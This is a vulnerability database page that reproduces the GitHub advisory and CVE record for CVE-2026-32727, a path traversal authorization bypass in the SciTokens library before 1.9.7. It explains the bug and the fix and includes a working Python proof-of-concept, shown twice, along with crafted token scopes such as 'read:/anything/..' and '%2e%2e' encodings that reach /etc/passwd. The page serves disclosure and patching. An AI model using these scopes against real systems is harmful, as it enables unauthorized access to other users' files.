Vulnerability-Lookup

GHSA-3X2W-63FP-3QVW

Vulnerability from github – Published: 2026-03-31 22:51 – Updated: 2026-03-31 22:51

Summary

SciTokens has an Authorization Bypass via Path Traversal in Scope Validation

Details

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home: python return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

Scope: read:/home/user1/.. -> Access Granted to: /home/user2
Scope: read:/anything/.. -> Access Granted to: /etc/passwd
Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar



import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")

    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)

    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1

    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."

    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"

    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")

    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.

    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)

    print(f"Is authorized: {is_authorized}")

    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path

    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")

    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")

    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scitokens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:51:36Z",
    "nvd_published_at": "2026-03-31T03:15:57Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `Enforcer` is vulnerable to a path traversal attack where an attacker can use dot-dot (`..`) in the `scope` claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using `startswith`.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_check_scope`, `_scope_path_matches`  \n**File:** `src/scitokens/urltools.py`  \n**Method:** `normalize_path`\n\n## Description\nWhen a token is verified, the `Enforcer` extracts the authorized path from the `scope` or `scp` claim. This path is passed through `urltools.normalize_path`, which uses `posixpath.normpath` to resolve relative segments.\n\nIf a token has a scope like `read:/home/user1/..`, the normalization process converts this to `/home`. When the enforcer checks if a request for `/home/user2` is authorized, it compares it against the normalized path `/home`.\n\n### Vulnerable Logic Flow:\n\n1.  **Normalization:** In `_check_scope`, the path `/home/user1/..` is normalized to `/home`.\n2.  **Comparison:** In `_scope_path_matches`, the requested path `/home/user2` is checked against the allowed path `/home`:\n    ```python\n    return requested_path.startswith(allowed_path + \u0027/\u0027)\n    # \"/home/user2\".startswith(\"/home/\") is True\n    ```\n\n### Bypassing with URL Encoding:\nSince `normalize_path` unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., `%2e%2e`) to hide the traversal from simple string filters that don\u0027t account for encoding.\n\n### Root Traversal:\nA scope like `read:/anything/..` normalizes to `read:/`, which grants access to the entire file system (or whatever resource space the enforcer is guarding).\n\n## Impact\nAn attacker who can influence the `scope` claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.\n\n## Proof of Concept\nThe following examples demonstrate the bypass (see `poc_path_traversal.py` for a full reproduction):\n\n- **Scope:** `read:/home/user1/..` -\u003e **Access Granted to:** `/home/user2`\n- **Scope:** `read:/anything/..` -\u003e **Access Granted to:** `/etc/passwd`\n- **Scope:** `read:/foo/%2e%2e/bar` -\u003e **Access Granted to:** `/bar`\n```\n\n\nimport scitokens\nimport os\nimport sys\n\n# Ensure we can import from src\nif os.path.exists(\"src\"):\n    sys.path.append(\"src\")\n\ndef test_path_traversal_bypass():\n    print(\"--- Proof of Concept: Path Traversal in Scope Validation ---\")\n    \n    issuer = \"https://scitokens.org\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Imagine an application that expects to restrict a user to their own directory: /home/user1\n    # The application validates that the token has \u0027read\u0027 access to /home/user1\n    \n    # MALICIOUS TOKEN\n    # An attacker provides a token with a scope that uses \u0027..\u0027 to traverse up.\n    # \u0027read:/home/user1/..\u0027 effectively resolves to \u0027read:/home\u0027\n    token = scitokens.SciToken()\n    token[\u0027iss\u0027] = issuer\n    token[\u0027scope\u0027] = \"read:/home/user1/..\"\n    \n    # VICTIM PATH\n    # The attacker tries to access a sibling directory (another user\u0027s data)\n    requested_path = \"/home/user2\"\n    \n    print(f\"Token scope: {token[\u0027scope\u0027]}\")\n    print(f\"Requested path: {requested_path}\")\n    \n    # Internal normalization in Scitokens 1.9.6:\n    # urltools.normalize_path(\"/home/user1/..\") -\u003e \"/home\"\n    # urltools.normalize_path(\"/home/user2\") -\u003e \"/home/user2\"\n    # Since \"/home/user2\".startswith(\"/home\") is True, access is granted.\n    \n    print(\"\\nTesting authorization...\")\n    is_authorized = enforcer.test(token, \"read\", requested_path)\n    \n    print(f\"Is authorized: {is_authorized}\")\n    \n    if is_authorized:\n        print(\"\\n[VULNERABILITY CONFIRMED]\")\n        print(f\"The Enforcer ALLOWED access to {requested_path}\")\n        print(f\"even though the scope was nominally restricted to /home/user1/..\")\n        print(\"This bypasses the intended directory isolation.\")\n    else:\n        print(\"\\n[VULNERABILITY NOT REPRODUCED]\")\n        print(\"The Enforcer blocked the access attempt.\")\n\n    # Another example: Root traversal\n    print(\"\\n--- Example 2: Root Traversal ---\")\n    token[\u0027scope\u0027] = \"read:/anything/..\" # Resolves to /\n    requested_path = \"/etc/passwd\" # Or any sensitive path\n    \n    print(f\"Token scope: {token[\u0027scope\u0027]}\")\n    print(f\"Requested path: {requested_path}\")\n    \n    is_authorized = enforcer.test(token, \"read\", requested_path)\n    print(f\"Is authorized: {is_authorized}\")\n    \n    if is_authorized:\n        print(\"[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!\")\n\nif __name__ == \"__main__\":\n    test_path_traversal_bypass()\n\n```\n\n\n## Recommended Fix\nValidate that the path in the scope does not contain `..` components **after unquoting** but **before normalization**. Additionally, ensure that any validation errors raised during this process are subclasses of `ValidationFailure` so they are correctly handled by the `Enforcer.test` method.",
  "id": "GHSA-3x2w-63fp-3qvw",
  "modified": "2026-03-31T22:51:36Z",
  "published": "2026-03-31T22:51:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32727"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/pull/230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scitokens/scitokens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SciTokens has an Authorization Bypass via Path Traversal in Scope Validation"
}

CVE-2026-32727 (GCVE-0-2026-32727)

Vulnerability from cvelistv5 – Published: 2026-03-31 01:31 – Updated: 2026-04-02 14:48

Title

SciTokens: Authorization Bypass via Path Traversal in Scope Validation

Summary

SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/scitokens/scitokens/security/a…	x_refsource_CONFIRM
	https://github.com/scitokens/scitokens/pull/230	x_refsource_MISC
	https://github.com/scitokens/scitokens/commit/2d1…	x_refsource_MISC
	https://github.com/scitokens/scitokens/releases/t…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	scitokens	scitokens	Affected: < 1.9.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32727",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-02T14:47:31.443983Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-02T14:48:02.376Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "scitokens",
          "vendor": "scitokens",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-31T01:31:57.392Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw"
        },
        {
          "name": "https://github.com/scitokens/scitokens/pull/230",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/scitokens/scitokens/pull/230"
        },
        {
          "name": "https://github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9"
        },
        {
          "name": "https://github.com/scitokens/scitokens/releases/tag/v1.9.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.7"
        }
      ],
      "source": {
        "advisory": "GHSA-3x2w-63fp-3qvw",
        "discovery": "UNKNOWN"
      },
      "title": "SciTokens: Authorization Bypass via Path Traversal in Scope Validation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32727",
    "datePublished": "2026-03-31T01:31:57.392Z",
    "dateReserved": "2026-03-13T15:02:00.626Z",
    "dateUpdated": "2026-04-02T14:48:02.376Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-3X2W-63FP-3QVW

Summary

Details

Description

Vulnerable Logic Flow:

Bypassing with URL Encoding:

Root Traversal:

Impact

Proof of Concept

Recommended Fix

CVE-2026-32727 (GCVE-0-2026-32727)

Tags

Sightings

Nomenclature